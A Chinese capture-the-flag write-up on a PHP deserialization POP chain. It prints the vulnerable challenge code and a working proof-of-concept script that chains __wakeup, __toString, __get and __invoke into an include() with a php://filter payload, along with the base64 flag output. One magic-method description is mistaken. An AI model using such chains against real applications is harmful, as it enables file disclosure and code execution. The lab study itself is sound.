反序列化POP链
贴个源码:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
魔术方法说明:有些魔术方法的触发条件是错误的把对象当成其他类型,该情况下不会报错,而会执行魔术方法
函数说明:
__invoke() 对象被当做函数执行的时候执行
__get() 对象被当做字符串的时候执行(不仅仅是输出一个对象,看语境,只要对象被视为字符串了都会触发)
构造POP链:wakeup(class Show)->toString(class Show)->get(class Test)->invoke(class Modifier)
<?php class Modifier { protected $var='php://filter/convert.base64-encode/resource=flag.php'; //注意构造poc的时候私有变量必须在类里面定义,不能在外面定义 } class Show{ public $source; public $str; } class Test{ public $p; }
$demo=new Show();
$demo->source=new Show();
$demo->source->str=new Test();
$demo->source->str->p=new Modifier();
echo urlencode(serialize($demo));
?>
传过去,得到flag.php的base64编码:
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2M0ZTg3Zjk4LWRlNDYtNDc4MC1iZWE5LWNhM2VmYWI1ZDA0NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
知识点:
__get是访问类的私有变量时或者一个类中根部不存在的变量时会触发